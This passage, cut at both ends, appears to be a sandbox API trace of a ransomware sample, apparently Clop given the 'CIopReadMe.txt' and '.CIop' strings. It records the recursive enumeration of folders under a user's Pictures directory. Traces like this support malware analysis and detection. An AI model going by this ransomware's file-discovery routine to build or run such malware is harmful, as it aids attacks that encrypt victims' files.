iYIRm\\QVr-mzOnFHsqrr\\" [0148.746] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0148.746] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0148.746] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dfb8 [0148.746] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0148.746] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0148.746] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.746] lstrlenW (lpString=".CIop") returned 5 [0148.747] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0148.747] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0148.747] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67ddb8 [0148.747] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0148.747] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0148.747] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0148.748] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0148.748] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0148.748] SetErrorMode (uMode=0x1) returned 0x1 [0148.748] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0148.748] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0148.748] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0148.748] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0148.748] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dfb8 [0148.748] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0148.748] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0148.749] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0148.749] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0148.749] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0148.749] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0148.749] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0148.749] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.749] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.749] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.749] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2="..") returned 1 [0148.749] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2=".") returned 1 [0148.749] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0148.749] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0148.749] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0148.749] SetErrorMode (uMode=0x1) returned 0x1 [0148.749] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0148.749] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0148.749] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0148.749] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0148.749] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e0b8 [0148.749] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0148.749] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0148.749] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.749] lstrlenW (lpString=".CIop") returned 5 [0148.750] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0148.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0148.750] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67deb8 [0148.750] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0148.750] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0148.750] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0148.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0148.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0148.750] SetErrorMode (uMode=0x1) returned 0x1 [0148.750] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0148.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0148.750] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0148.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0148.750] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e2b8 [0148.750] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0148.750] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0148.750] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.750] lstrlenW (lpString=".CIop") returned 5 [0148.750] lstrlenW (lpString=".CIop") returned 5 [0148.750] lstrlenW (lpString=".CIop") returned 5 [0148.750] lstrlenW (lpString=".CIop") returned 5 [0148.750] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0148.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0148.750] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e0b8 [0148.751] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0148.751] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0148.751] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0148.751] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0148.751] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0148.751] SetErrorMode (uMode=0x1) returned 0x1 [0148.751] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0148.751] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0148.751] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0148.751] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0148.751] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67e0f8 [0148.751] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0148.751] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0148.751] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.751] lstrlenW (lpString=".CIop") returned 5 [0148.751] lstrlenW (lpString=".CIop") returned 5 [0148.751] lstrlenW (lpString=".CIop") returned 5 [0148.751] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0148.751] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0148.751] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67e2b8 [0148.751] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0148.751] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0148.752] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.752] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.752] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.752] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.752] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: 